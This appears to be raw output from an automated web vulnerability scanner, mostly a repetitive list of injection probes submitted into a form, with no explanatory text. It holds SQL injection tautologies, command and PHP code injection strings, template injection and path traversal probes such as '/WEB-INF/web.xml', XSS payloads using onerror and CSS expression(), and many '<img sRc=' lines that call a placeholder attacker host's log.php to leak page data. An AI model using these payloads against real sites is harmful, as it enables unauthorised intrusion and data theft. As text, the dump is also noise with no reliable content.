555&echo hhwibf$()\ vhgnot\nz^xyu||a #’ &echo hhwibf$()\ vhgnot\nz^xyu||a #|” &echo hhwibf$()\ vhgnot\nz^xyu||a #
555
5558gvjHjil
svLUDhqJ
555+597-592-5
555*92*87*0
555*304*299*0
555*748*743*0
555+753-748-5
-1 OR 2+798-798-1=0+0+0+1
-1 OR 3*2<(0+5+798-798)
555
http://bxss.me/t/xss.html?%00
‘;print(md5(31337));$a=’
${@print(md5(31337))}\
/WEB-INF/web.xml
<!–
@@7xqA3
5559477419
bfg10503<s1﹥s2ʺs3ʹhjl10503
bfgx4145z1z2abcxhjl4145
555
555BTI8W[!+!]
555}body{zzz:Expre/**/SSion(Np2v(9600))}
555HWSF7[!+!]
555<img sRc='http://attacker-9386/log.php?
555
555
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9432109*9046656)
555
CHYWTCpH
RAqQ9RqH: YC58nobH
555
555
555lqhjaBis
555*478*473*0
555*695*690*0
555+700-695-5
555*549*544*0
^(#$!@#$)(()))******
555*589*584*0
555
555
555
555
../555
555
555
‘”
<!–
5559820603
bfg3902<s1﹥s2ʺs3ʹhjl3902
bfgx9562z1z2abcxhjl9562
@@DS48i
555MMJSX[!+!]
555}body{zzz:Expre/**/SSion(B6rS(9357))}
555ZDJJ9[!+!]
555<img sRc='http://attacker-9464/log.php?
555<aODmimI<
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
555
555
555
555
555fGpUqD5i
555
555+150-145-5
555*29*24*0
555*384*379*0
555+389-384-5
555*360*355*0
-1 OR 2+209-209-1=0+0+0+1
-1 OR 3*2<(0+5+209-209)
555
555
555
555
@@wmvJK
555
555
5559903027
bfg2424<s1﹥s2ʺs3ʹhjl2424
bfgx10719z1z2abcxhjl10719
<th:t="${dfb}#foreach
555ORHKS[!+!]
555WrGe(9160)
555″ onerror=alert(9288)>
555OU9TL[!+!]
555
555<atWsMZ8<
555
555
http://bxss.me/t/xss.html?%00
555
555
555
555QUy5xybS
555*568*563*0
555
555*915*910*0
555*974*969*0
555*939*934*0
555+944-939-5
-1 OR 2+909-909-1=0+0+0+1
-1 OR 3+909-909-1=0+0+0+1
555
555
555
@@P0yOT
555
555
555
555
555
555
5559206316
bfg3915<s1﹥s2ʺs3ʹhjl3915
bfgx2403z1z2abcxhjl2403
555ZK6EB[!+!]
555LOQD(9722)
555LOQD(9846)9846
555″ onerror=alert(9855)>
555}body{zzz:Expre/**/SSion(LOQD(9892))}
555UIE3T[!+!]
555<img sRc='http://attacker-9059/log.php?
555<a5UpZNT<
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
555
555
555juQX4VNQ
555
555*605*600*0
555*650*645*0
555+655-650-5
555*138*133*0
555*494*489*0
555+499-494-5
555
555
555
555
555
555
555
555
5559772841
bfg10695<s1﹥s2ʺs3ʹhjl10695
bfgx6639z1z2abcxhjl6639
555%2527%2522\’\”
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555AUZUP[!+!]
555
555
555
5559863749
bfg10291<s1﹥s2ʺs3ʹhjl10291
5550HGBT[!+!]
555
555IxaYFC7k
555*457*452*0
555+462-457-5
555*709*704*0
555*30*25*0
555<a8idSej<
555*80*75*0
555+85-80-5
555
@@2OE2I
555
555
555
555
555
555
555
555
555
555
555
555
5559836018
555*800*795*0
555*741*736*0
555QUKOH[!+!]
555}body{zzz:Expre/**/SSion(GpQE(9175))}
5556YEIN[!+!]
555<img sRc='http://attacker-9485/log.php?
555<a998k6h<
555
@@l1b9h
555
555
555
555YXaTZZBx
555*66*61*0
555*845*840*0
555*143*138*0
555*826*821*0
@@wcQkt
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555OtHrle8l
555
555+132-127-5
555*482*477*0
555*158*153*0
555
555
555
555
5559594835
bfg6698<s1﹥s2ʺs3ʹhjl6698
bfgx2933z1z2abcxhjl2933
555ZAUCM[!+!]
555}body{zzz:Expre/**/SSion(SB4a(9262))}
555NG5EB[!+!]
555<img sRc='http://attacker-9818/log.php?
555<aViZAC7<
555
555
555
555
555
555CSLo7Jh4
555
555*535*530*0
555+540-535-5
555*360*355*0
555+365-360-5
555*154*149*0
555+159-154-5
555*803*798*0
555+808-803-5
555
@@zuzuD
555
555
555
555
555
555
555
555
555
5559359475
bfg9861<s1﹥s2ʺs3ʹhjl9861
bfgx8723z1z2abcxhjl8723
555VWFNN[!+!]
555}body{zzz:Expre/**/SSion(B0Ys(9217))}
555I1DOE[!+!]
555<img sRc='http://attacker-9170/log.php?
555<a1QoYII<
555
555
555
555
555
555VTOCfIZW
555*128*123*0
555*87*82*0
555+92-87-5
555*556*551*0
555
555*995*990*0
555+1000-995-5
555
@@pp9eH
555
555
555
555
555
555
555
5559812580
bfg3373<s1﹥s2ʺs3ʹhjl3373
bfgx8789z1z2abcxhjl8789
555
555AHESM[!+!]
555}body{zzz:Expre/**/SSion(tHJr(9514))}
555LQSEJ[!+!]
555<img sRc='http://attacker-9936/log.php?
555<aCruc2Y<
555
555
555
555
555
555
555ixfkAztS
555*296*291*0
555+301-296-5
555*311*306*0
555+316-311-5
555+569-564-5
555*708*703*0
555+713-708-5
555
555
555
555
555
@@kkJ8e
555
5559455734
bfg7118<s1﹥s2ʺs3ʹhjl7118
bfgx4857z1z2abcxhjl4857
555FFDTL[!+!]
555}body{zzz:Expre/**/SSion(1vsL(9127))}
555BRDD3[!+!]
555<img sRc='http://attacker-9187/log.php?
555<abC6eqb<
555
555
555
555
555
555
555
555*704*699*0
555+709-704-5
555*418*413*0
555
555+545-540-5
555*188*183*0
555
555
555
555
555
555
555
5559893339
bfg4394<s1﹥s2ʺs3ʹhjl4394
@@vTRlI
555}body{zzz:Expre/**/SSion(OqM8(9013))}
555<img sRc='http://attacker-9047/log.php?
555
555
555
5559918533
http://bxss.me/t/fit.txt
bfg4164<s1﹥s2ʺs3ʹhjl4164
bfgx7945z1z2abcxhjl7945
55570RRN[!+!]
555
555Imdvcv49
555*10*5*0
555*721*716*0
555+20-15-5
555*600*595*0
-1 OR 2+515-515-1=0+0+0+1
-1 OR 3*2<(0+5+515-515)
@@ePvkb
555
http://bxss.me/t/xss.html?%00
555
http://bxss.me/t/fit.txt
555
555
555PKU7vLrz
555*368*363*0
555*719*714*0
555*248*243*0
555*649*644*0
-1 OR 3+950-950-1=0+0+0+1
555
@@xx4vQ
555
http://bxss.me/t/fit.txt
555
555
555
555
555
555
555
555
555OKI82Rag
555*22*17*0
555*440*435*0
555*448*443*0
555+453-448-5
555
555
555
555
5559602770
bfg1789<s1﹥s2ʺs3ʹhjl1789
bfgx1541z1z2abcxhjl1541
555FZ289[!+!]
555}body{zzz:Expre/**/SSion(N5mi(9516))}
555NTKU5[!+!]
555<img sRc='http://attacker-9765/log.php?
555<aE32c0H<
555
@@EF6A8
555
555
555
555
555
555
555
555*314*309*0
555*390*385*0
555+395-390-5
555+692-687-5
555*268*263*0
555
555
555
555
555
555
5559764262
bfg6034<s1﹥s2ʺs3ʹhjl6034
bfgx6602z1z2abcxhjl6602
@@8MVOX
555EJAWX[!+!]
555}body{zzz:Expre/**/SSion(JhDc(9916))}
555M7AFE[!+!]
555<img sRc='http://attacker-9774/log.php?
555<azyXcIf<
555
555
555
555
555
555
555
555
555
555
555
555
555+134-129-5
555+623-618-5
555
@@n4jK3
555
555
555
555
555
555
555
555
555
555*859*854*0
555*616*611*0
555
555*788*783*0
555
5559336856
bfg3534<s1﹥s2ʺs3ʹhjl3534
5555PJGR[!+!]
555}body{zzz:Expre/**/SSion(3LVU(9280))}
555<img sRc='http://attacker-9780/log.php?
555
@@szp0z
555
555
555
555
555
555LQY1uYmB
555*834*829*0
555
555+901-896-5
555*683*678*0
555*184*179*0
555+189-184-5
555
555
555
555
555
555
555
555
5559224563
bfg2144<s1﹥s2ʺs3ʹhjl2144
5551WF39[!+!]
555}body{zzz:Expre/**/SSion(XNQb(9235))}
555XT1TA[!+!]
555<img sRc='http://attacker-9331/log.php?
555<aWQimvn<
555
555
555
5559121170
bfg4915<s1﹥s2ʺs3ʹhjl4915
55552TDK[!+!]
555
555}body{zzz:Expre/**/SSion(QgmT(9266))}
555UM2K4[!+!]
555<img sRc='http://attacker-9801/log.php?
555<aqYGZkZ<
555*452*447*0
555+457-452-5
555*714*709*0
555+719-714-5
555
555*613*608*0
555+618-613-5
555*700*695*0
555+705-700-5
@@7MF8E
555
555
555
555
555
555
555wUBMIUmD
555
555*518*513*0
555+411-406-5
555*252*247*0
555+257-252-5
555*877*872*0
555
555
555
555
555
555
5559954150
bfg3574<s1﹥s2ʺs3ʹhjl3574
@@4T59p
555ZKKOT[!+!]
555}body{zzz:Expre/**/SSion(Y2qk(9165))}
555NHBAB[!+!]
555
555<aX2uoLE<
555
555
555
555
555
555Mmzp3Anh
555*20*15*0
555*993*988*0
555*98*93*0
555
555+943-938-5
555
555
555
555
5559576282
bfg7512<s1﹥s2ʺs3ʹhjl7512
bfgx1583z1z2abcxhjl1583
5554X8ZR[!+!]
@@sagTi
555
555}body{zzz:Expre/**/SSion(9wbu(9487))}
555CQIXE[!+!]
555<img sRc='http://attacker-9338/log.php?
555<aG1lQMw<
555
555
555
555
555BWgX7qZV
555*362*357*0
555*170*165*0
@@CAc1K
555
555
555
555
555
555
555
555
555
5559359293
bfg4657<s1﹥s2ʺs3ʹhjl4657
5557H7CX[!+!]
555}body{zzz:Expre/**/SSion(mAwN(9154))}
555
555
555
http://bxss.me/t/fit.txt
555
555
555
555REYXY82k
-1 OR 2+294-294-1=0+0+0+1 —
-1 OR 3*2<(0+5+294-294) —
-1 OR 2+335-335-1=0+0+0+1
-1 OR 3+335-335-1=0+0+0+1
555
-1′ OR 2+88-88-1=0+0+0+1 —
-1′ OR 3+88-88-1=0+0+0+1 —
-1′ OR 2+152-152-1=0+0+0+1 or ‘UABIPoRJ’=’
-1′ OR 3+152-152-1=0+0+0+1 or ‘UABIPoRJ’=’
-1″ OR 2+239-239-1=0+0+0+1 —
-1″ OR 3+239-239-1=0+0+0+1 —
555
@@KlArp
555
555
555
555
555
5559387171
bfg4381<s1﹥s2ʺs3ʹhjl4381
bfgx8772z1z2abcxhjl8772
555XS8BI[!+!]
555}body{zzz:Expre/**/SSion(47bw(9527))}
5559ERGG[!+!]
555<img sRc='http://attacker-9341/log.php?
555<aABltBL<
555
555
555
555
555
555
555
555
555WFLYd5oR
555*842*837*0
555*536*531*0
555*962*957*0
555*853*848*0
555
555
@@eJctU
555
555
555
555
555
555
555
5559695196
555
bfg10507<s1﹥s2ʺs3ʹhjl10507
bfgx2917z1z2abcxhjl2917
555MFIUF[!+!]
555}body{zzz:Expre/**/SSion(LmDX(9350))}
555JSSLL[!+!]
555<img sRc='http://attacker-9280/log.php?
555<a6MF2W4<
555
555
555
555
555fSuCFX1z
555*606*601*0
555*811*806*0
555*550*545*0
555*521*516*0
555
@@rGn9d
555
555
555
555
555
555
555
555
5559954906
bfg2580<s1﹥s2ʺs3ʹhjl2580
bfgx4650z1z2abcxhjl4650
5555EYUA[!+!]
555}body{zzz:Expre/**/SSion(fuRM(9190))}
5551BHWS[!+!]
555<img sRc='http://attacker-9716/log.php?
555<aOpQBFc<
555
555
555
555
555
555
555yOE9eOsH
555+259-254-5
555*838*833*0
555
555
555
555
555
5559961374
bfg3189<s1﹥s2ʺs3ʹhjl3189
@@F3k6V
555}body{zzz:Expre/**/SSion(uM2p(9957))}
555<img sRc='http://attacker-9971/log.php?
555
555
555
555
555
555
555
5551jbZPgLu
555*661*656*0
555+666-661-5
555*993*988*0
555+998-993-5
555*47*42*0
555+52-47-5
555*300*295*0
555
555
@@e42im
555
555
555
555
555
555
555
5559181819
bfg1463<s1﹥s2ʺs3ʹhjl1463
bfgx6490z1z2abcxhjl6490
555ZWOWZ[!+!]
555
555}body{zzz:Expre/**/SSion(Oi3N(9605))}
555M0GVS[!+!]
555<img sRc='http://attacker-9011/log.php?
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
555
555
555jUWO7sxU
555
555*825*820*0
555*923*918*0
555
555+655-650-5
555*591*586*0
555
555
@@x9HHs
555
555
555
555
5559381210
bfg9657<s1﹥s2ʺs3ʹhjl9657
bfgx3135z1z2abcxhjl3135
555ZYBAU[!+!]
555}body{zzz:Expre/**/SSion(bs9v(9148))}
555MW1ZI[!+!]
555<img sRc='http://attacker-9981/log.php?
555<azTKGpM<
555
555
555
555
555
555
555
555
555
555oHoPjf4P
555
555*608*603*0
555*13*8*0
555*554*549*0
555*937*932*0
555
555
5559764956
bfg6080<s1﹥s2ʺs3ʹhjl6080
555FMLZ1[!+!]
555}body{zzz:Expre/**/SSion(8uwO(9199))}
555OJWGZ[!+!]
555<img sRc='http://attacker-9060/log.php?
555<aEoyx9v<
555
@@VZ1cK
555
555
555
555
555
555
555rnkHE1XM
555*724*719*0
555
555+606-601-5
555
555
@@Z9CUH
555
555
555
555
5559774499
bfg10183<s1﹥s2ʺs3ʹhjl10183
5555ZU9D[!+!]
555}body{zzz:Expre/**/SSion(XGl1(9425))}
555XEJTC[!+!]
555<img sRc='http://attacker-9524/log.php?
555<aBJLIVc<
555
555
555
555
555
555
555tMHlYlmE
555*928*923*0
555+933-928-5
555*30*25*0
555+35-30-5
555*628*623*0
555
555
555
555
555
5559937288
bfg5334<s1﹥s2ʺs3ʹhjl5334
555PR8IG[!+!]
555}body{zzz:Expre/**/SSion(2qUG(9458))}
555<img sRc='http://attacker-9152/log.php?
555<a0wKuf5<
555
555
555
555
555GzvUap5I
555*500*495*0
555
555
555
555
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
bxss.me
555
555
555
555
555lHlR7tSu
555*1
555*39*34*0
555*693*688*0
555*914*909*0
555+919-914-5
555
555′”
555%2527%2522\’\”
555
555
555
555
555
555
5559431983
bfg3509<s1﹥s2ʺs3ʹhjl3509
bfgx9559z1z2abcxhjl9559
555E6IZF[!+!]
555
555}body{zzz:Expre/**/SSion(oMj6(9124))}
555
555<img sRc='http://attacker-9270/log.php?
555<aTHcs9F<
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
555
555
555
555
555
555jXddmn2o
555*1
555*637*632*0
555
555+900-895-5
555*854*849*0
555+859-854-5
555
555
555
555%2527%2522\’\”
@@SUoth
555
555
5559031733
bfg10837<s1﹥s2ʺs3ʹhjl10837
555NFFK8[!+!]
555}body{zzz:Expre/**/SSion(GGmk(9609))}
555CHZD9[!+!]
555
555<img sRc='http://attacker-9692/log.php?
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
bxss.me/t/xss.html?%00
555
555
555
555
555
555
555
555dXhHLVaK
555
555*1
555
555
5559260985
bfgx1371z1z2abcxhjl1371
<th:t="${dfb}#foreach
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555}body{zzz:Expre/**/SSion(IO50(9093))}
555SPP8V[!+!]
555<ay2H17f<
555
555′”
555
555
555
555
555
555
555Dqk0Zjoy
555
555+526-521-5
555*383*378*0
555*243*238*0
555+248-243-5
555*191*186*0
555+196-191-5
555
555
555
555
555
555
@@hXFuE
555
5559343578
bfg10973<s1﹥s2ʺs3ʹhjl10973
555CJGAX[!+!]
555}body{zzz:Expre/**/SSion(IQK3(9381))}
555VLEYZ[!+!]
555<img sRc='http://attacker-9412/log.php?
555<aTJ2XID<
555
555
555
555
555
555
555
555
555XDiKv8kw
555*597*592*0
555+602-597-5
555*879*874*0
555*411*406*0
555+416-411-5
555*487*482*0
555+492-487-5
@@Lt9Yf
555
555
555
555
555
555
5559064003
bfg9282<s1﹥s2ʺs3ʹhjl9282
bfgx2207z1z2abcxhjl2207
555
5550W7EF[!+!]
555}body{zzz:Expre/**/SSion(86rT(9487))}
555USWNU[!+!]
555<img sRc='http://attacker-9232/log.php?
555<a5G7hwe<
555
555
555
555
555
555FDBTuhX2
555*15*10*0
555*966*961*0
555+971-966-5
555*224*219*0
555*644*639*0
555+649-644-5
555
555
@@QWUlL
555
555
555
555
555
555
5559873562
bfg5665<s1﹥s2ʺs3ʹhjl5665
bfgx9727z1z2abcxhjl9727
5556P5ZT[!+!]
555}body{zzz:Expre/**/SSion(nevE(9382))}
555HXX1J[!+!]
555<img sRc='http://attacker-9546/log.php?
555<a0rfxiZ<
555
555
555
555
555lBPPU8ap
555*61*56*0
555*310*305*0
555*971*966*0
555+976-971-5
555*123*118*0
555
555
555
@@b0QOg
555
555
555
5559723753
bfg1718<s1﹥s2ʺs3ʹhjl1718
555OWVNZ[!+!]
555}body{zzz:Expre/**/SSion(EdQN(9267))}
555<img sRc='http://attacker-9891/log.php?
555
555
555
5559720735
bfg2038<s1﹥s2ʺs3ʹhjl2038
bfgx5930z1z2abcxhjl5930
555QJ4GN[!+!]
555
555}body{zzz:Expre/**/SSion(RZga(9342))}
555pqVZkzTa
555<img sRc='http://attacker-9687/log.php?
555+855-850-5
555*402*397*0
555*62*57*0
555
555*263*258*0
555+268-263-5
@@qoFen
555
555
555
555
555
555
555
555
555*457*452*0
555*108*103*0
555*765*760*0
555+770-765-5
555+90-85-5
555
555
555
555
555
555
5559087527
bfg3974<s1﹥s2ʺs3ʹhjl3974
555FCXGD[!+!]
555}body{zzz:Expre/**/SSion(hXgp(9305))}
555HPVOO[!+!]
555<img sRc='http://attacker-9180/log.php?
555<afbrNIw<
555
@@noqzS
555
555
555
555
555
555
555qmMC5a4I
555*533*528*0
555+538-533-5
555*347*342*0
555+352-347-5
555*129*124*0
555*92*87*0
555+97-92-5
555
555
555
555
555
@@DqNgx
555
555
5559167880
bfg1747<s1﹥s2ʺs3ʹhjl1747
bfgx9856z1z2abcxhjl9856
555
555
555
555FLQFB[!+!]
555
555
5554FHVA[!+!]
555<img sRc='http://attacker-9771/log.php?
555<aL0CNif<
555
555
555
555E6v3aiO3
555*399*394*0
555*493*488*0
555+498-493-5
555*350*345*0
555+355-350-5
555+200-195-5
555
555
555
555
555
555
5559663186
bfg1458<s1﹥s2ʺs3ʹhjl1458
bfgx3338z1z2abcxhjl3338
555IQDRN[!+!]
@@KklH6
555}body{zzz:Expre/**/SSion(GUtm(9905))}
555IZYWN[!+!]
555<img sRc='http://attacker-9196/log.php?
555<aktQVLT<
555
555
555
555
555
555
555
555
555
555tVzjElEu
555
555+348-343-5
555*715*710*0
555*639*634*0
555*151*146*0
555
555
555
555
5559359520
bfg9897<s1﹥s2ʺs3ʹhjl9897
@@URAiL
555SGHDD[!+!]
555}body{zzz:Expre/**/SSion(zgcI(9485))}
555TQZNM[!+!]
555<img sRc='http://attacker-9361/log.php?
555
555
555
555
555
555
5557CPSjHyr
555
555+681-676-5
555*231*226*0
555*122*117*0
555+127-122-5
555*970*965*0
555
555
@@pJ45k
555
555
555
555
555
5559793352
bfg5538<s1﹥s2ʺs3ʹhjl5538
bfgx6917z1z2abcxhjl6917
555PKJSR[!+!]
555}body{zzz:Expre/**/SSion(azsD(9360))}
555DJBA0[!+!]
555<img sRc='http://attacker-9033/log.php?
555<arQzzgo<
555
555
555
555
555
555
5551s0YBVnz
555
555+461-456-5
555*110*105*0
555*977*972*0
555+982-977-5
555*103*98*0
555
555
555
555
555
555
555
5559938148
bfg4066<s1﹥s2ʺs3ʹhjl4066
bfgx4192z1z2abcxhjl4192
555UVGKZ[!+!]
555}body{zzz:Expre/**/SSion(4aii(9234))}
555VSWIQ[!+!]
555
555
555
http://bxss.me/t/fit.txt
http://bxss.me/t/xss.html?%00
555
555
555
555
555
555
555
555
555SVwkQSXh
555
555
555
555+918-913-5
555*836*831*0
5559482327
555*223*218*0
-1 OR 3+814-814-1=0+0+0+1
bfgx10897z1z2abcxhjl10897
555WSRYX[!+!]
555}body{zzz:Expre/**/SSion(NZhd(9743))}
555X3ZBV[!+!]
555<img sRc='http://attacker-9508/log.php?
555<aiuRpQ9<
555
@@RQR8w
555
555
555
555
555
555
555anWSF1ga
555*458*453*0
555*18*13*0
555*709*704*0
555*717*712*0
555
@@16v45
555
555
555
555
555
555
bxss.me/t/xss.html?%00
5559154694
555
bfg8858<s1﹥s2ʺs3ʹhjl8858
bfgx4061z1z2abcxhjl4061
555
555
555OUIRS[!+!]
555qf4H58PN
555*649*644*0
555
555+896-891-5
555*444*439*0
555*19*14*0
555}body{zzz:Expre/**/SSion(0wv8(9483))}
5557F9Q9[!+!]
555<img sRc='http://attacker-9470/log.php?
555<aKAQpJ5<
555
555
555
555
555
555
@@iXmA9
555
555
5559002055
bfg4240<s1﹥s2ʺs3ʹhjl4240
bfgx10566z1z2abcxhjl10566
555XCBRF[!+!]
555}body{zzz:Expre/**/SSion(JG9n(9048))}
5551HZDN[!+!]
555<img sRc='http://attacker-9895/log.php?
555<ao5edYs<
555
555
555
555
555
555
555HbBCCIQZ
555*183*178*0
555*266*261*0
555+271-266-5
555*224*219*0
555+229-224-5
555*60*55*0
555+65-60-5
@@WTlHR
555
555
555
555
555ezBpRWZU
555*882*877*0
555*723*718*0
555*249*244*0
555
555+638-633-5
@@I2j66
555
555
555
555
555
555
555
5559131032
bfg4952<s1﹥s2ʺs3ʹhjl4952
bfgx2496z1z2abcxhjl2496
555XSECM[!+!]
555
555}body{zzz:Expre/**/SSion(JBJC(9360))}
555HUABQ[!+!]
555<img sRc='http://attacker-9308/log.php?
555<a557i2U<
555
555
555
555
555
555axBSLWEQ
555*520*515*0
555*402*397*0
555*495*490*0
555*728*723*0
555+733-728-5
555
555
555
555
@@8vhqh
555
555
555
555
5559542256
bfg2267<s1﹥s2ʺs3ʹhjl2267
bfgx2122z1z2abcxhjl2122
5556FG9R[!+!]
555
555}body{zzz:Expre/**/SSion(L9H6(9455))}
5554ODLU[!+!]
555<img sRc='http://attacker-9468/log.php?
555<aSVfXki<
555
555
555
555SpkpoSOg
555*239*234*0
555*337*332*0
555*485*480*0
555+490-485-5
555*309*304*0
555+314-309-5
555
555
555
555
@@cYbPf
555
555
555
555
555
555
555
5559713415
bfg10148<s1﹥s2ʺs3ʹhjl10148
bfgx9257z1z2abcxhjl9257
555DQSGB[!+!]
555}body{zzz:Expre/**/SSion(eFWK(9458))}
5556HCZO[!+!]
555<img sRc='http://attacker-9830/log.php?
555<aPo7olh<
555
555
555
555
555*652*647*0
555+944-939-5
555+602-597-5
@@2PzND
555
555
555
555
555
555
555
555
555+576-571-5
555*441*436*0
555
555+81-76-5
@@3Md47
555
555
555
555
555
555*487*482*0
555*189*184*0
@@ky0jo
555
555
555
555
555bHD0TcEx
555*830*825*0
555*260*255*0
555+265-260-5
555*362*357*0
555
555+367-362-5
555*731*726*0
555
555
555
@@Oq8O3
555
555
555
555
555
5559532519
bfg6962<s1﹥s2ʺs3ʹhjl6962
bfgx8947z1z2abcxhjl8947
555WANVP[!+!]
555
555}body{zzz:Expre/**/SSion(o9CX(9161))}
555FFNHE[!+!]
555<img sRc='http://attacker-9429/log.php?
555<a7J1ihf<
555
555
555
555
555
555
555
555
5557JE2Uc9C
555*264*259*0
555*175*170*0
555*907*902*0
555+912-907-5
555*22*17*0
@@cw0Q2
555
555
555
555
5559558864
bfg1059<s1﹥s2ʺs3ʹhjl1059
bfgx3589z1z2abcxhjl3589
555
555WNF33[!+!]
555}body{zzz:Expre/**/SSion(aD5l(9009))}
555BSWL4[!+!]
555<img sRc='http://attacker-9257/log.php?
555<akWwcg4<
555
555
555
555
555uu0qn7st
555*21*16*0
555*394*389*0
555
555
555
555
555
555
555
555
555
5559357684
bfg3232<s1﹥s2ʺs3ʹhjl3232
555TXZBZ[!+!]
555}body{zzz:Expre/**/SSion(AzuB(9518))}
555EQ5LL[!+!]
555<img sRc='http://attacker-9447/log.php?
555
555
555
555
555
555
555hmq5CCSM
555*520*515*0
555
555+848-843-5
555*758*753*0
555
555
555
555
@@5WGmx
555
555
555
5559199821
bfg1638<s1﹥s2ʺs3ʹhjl1638
555UQ8QU[!+!]
555}body{zzz:Expre/**/SSion(WsIU(9706))}
555PZJ3C[!+!]
555<img sRc='http://attacker-9988/log.php?
555
555
555
555
555
555
555
555
555
555
555
555
555*486*481*0
555
555+346-341-5
5559199423
bfgx3869z1z2abcxhjl3869
555SV3CD[!+!]
555}body{zzz:Expre/**/SSion(C6Bl(9296))}
555LNTD5[!+!]
555<img sRc='http://attacker-9583/log.php?
555
@@LEBYe
555
555
555
555TNrQUBHi
555*995*990*0
555*941*936*0
555
555
555
555
@@Bnkzs
555
555
555
555
555
555
555
555
555
555
555PDIQa84E
555*966*961*0
555*517*512*0
555*385*380*0
555*114*109*0
555
555
555
@@BfA9h
555
555
555
5559590856
bfg6755<s1﹥s2ʺs3ʹhjl6755
bfgx10513z1z2abcxhjl10513
555CWS96[!+!]
555}body{zzz:Expre/**/SSion(XdUz(9709))}
555ZYSYV[!+!]
555<img sRc='http://attacker-9723/log.php?
555<aHythHl<
555
555
555
555
555
555lSbggOh3
555*204*199*0
555
555*282*277*0
555*120*115*0
555
555
@@pa3Wm
555
555
555
555
555
555
555
555
5559380229
bfg3304<s1﹥s2ʺs3ʹhjl3304
bfgx9689z1z2abcxhjl9689
555UD0X6[!+!]
555}body{zzz:Expre/**/SSion(y68o(9164))}
555J2CJU[!+!]
555<img sRc='http://attacker-9485/log.php?
555<aL7aDof<
555
555
555
555
555
5553GaZrKwQ
555
555*162*157*0
555*615*610*0
555*719*714*0
555*292*287*0
555+297-292-5
@@UFRnP
555
555
555
555
555
555
555
5559079049
bfg7085<s1﹥s2ʺs3ʹhjl7085
bfgx7487z1z2abcxhjl7487
555
555
555
555
555
555
555
555
555
555qTyGwzRv
555
555+983-978-5
555*682*677*0
555*207*202*0
555*988*983*0
555
5559987199
bfg3410<s1﹥s2ʺs3ʹhjl3410
555BMJUX[!+!]
555}body{zzz:Expre/**/SSion(hCWS(9279))}
555IQEHX[!+!]
555<abM9dCn<
555
@@6zvsP
555
555
http://bxss.me/t/fit.txt
555
555
555NpBFzPh4
555
555*558*553*0
555+807-802-5
555
555
555
555
555
555
555
5559309586
bfg2205<s1﹥s2ʺs3ʹhjl2205
555APG7Q[!+!]
555}body{zzz:Expre/**/SSion(OVkR(9864))}
555<img sRc='http://attacker-9956/log.php?
555
555
555
555
555
555
555
555UxBdN1Sx
555*105*100*0
555
555+234-229-5
555*635*630*0
555+640-635-5
555*595*590*0
555+600-595-5
555
555
555
555
555
555
5559600237
555
bfg9660<s1﹥s2ʺs3ʹhjl9660
bfgx8032z1z2abcxhjl8032
555
5559586041
bfg2339<s1﹥s2ʺs3ʹhjl2339
bfgx5080z1z2abcxhjl5080
555
555spzKnfQG
555DCYAB[!+!]
555}body{zzz:Expre/**/SSion(JCcw(9412))}
555*296*291*0
555+301-296-5
555*864*859*0
555*383*378*0
555<img sRc='http://attacker-9740/log.php?
555*450*445*0
555+455-450-5
555<a4qmtff<
555}body{zzz:Expre/**/SSion(gxu6(9635))}
555
555FQVNJ[!+!]
555<img sRc='http://attacker-9800/log.php?
555<a3dUAIS<
555
@@SQNnU
555
555
555
555
555bc61limQ
555*787*782*0
555*677*672*0
555*936*931*0
555+941-936-5
555*240*235*0
555
555
555
555
555
@@KC07z
555
555
555
555
555
555
5559576772
bfg4602<s1﹥s2ʺs3ʹhjl4602
bfgx9331z1z2abcxhjl9331
555OVDFI[!+!]
555}body{zzz:Expre/**/SSion(LmSE(9189))}
555242YI[!+!]
555<img sRc='http://attacker-9024/log.php?
555<aivOMQf<
555
555
555
http://bxss.me/t/xss.html?%00
555
555
http://bxss.me/t/fit.txt
555
5552hxKIhFE
555
555+384-379-5
555+79-74-5
@@ajiDC
555
555
555
555
555
555
5559589825
bfg7226<s1﹥s2ʺs3ʹhjl7226
bfgx4958z1z2abcxhjl4958
555LILU1[!+!]
555}body{zzz:Expre/**/SSion(4uE0(9391))}
555ZTUDP[!+!]
555<img sRc='http://attacker-9700/log.php?
555<a6TMZj1<
555
555
555
555
555
555
555
555
555
555
555
555
555VXpywmzc
5559589963
555+311-306-5
bfgx1712z1z2abcxhjl1712
555+197-192-5
555*294*289*0
555*490*485*0
555}body{zzz:Expre/**/SSion(1LSB(9762))}
555KPUHP[!+!]
555<img sRc='http://attacker-9895/log.php?
555<avr5vYh<
555
@@k98ko
555
555
555
555apJooSDN
555*612*607*0
555+656-651-5
555*371*366*0
555
555
555
555
555
555
555
555
555
555
555
5559585309
bfg3323<s1﹥s2ʺs3ʹhjl3323
555QQBFI[!+!]
555}body{zzz:Expre/**/SSion(StTG(9857))}
555JLXLS[!+!]
555<img sRc='http://attacker-9586/log.php?
555<apC0trz<
555
555
http://bxss.me/t/xss.html?%00
555
555
555
555
555
555
5554QGGSMrx
555*714*709*0
555*596*591*0
555+722-717-5
555*667*662*0
-1 OR 2+501-501-1=0+0+0+1
-1 OR 3+501-501-1=0+0+0+1
555
555
555
555
555
5559004102
bfg6231<s1﹥s2ʺs3ʹhjl6231
555ODYDJ[!+!]
@@08uCh
555}body{zzz:Expre/**/SSion(M7mS(9202))}
555BQRVC[!+!]
555<img sRc='http://attacker-9745/log.php?
555<aTvml55<
555
http://bxss.me/t/xss.html?%00
555
555
555
555
555
555
555
555j150xLM6
555*158*153*0
555*26*21*0
555
555+31-26-5
555*627*622*0
555+632-627-5
555*622*617*0
-1 OR 2+709-709-1=0+0+0+1
-1 OR 3+709-709-1=0+0+0+1
555
555
555
555
555
5559657759
bfg9923<s1﹥s2ʺs3ʹhjl9923
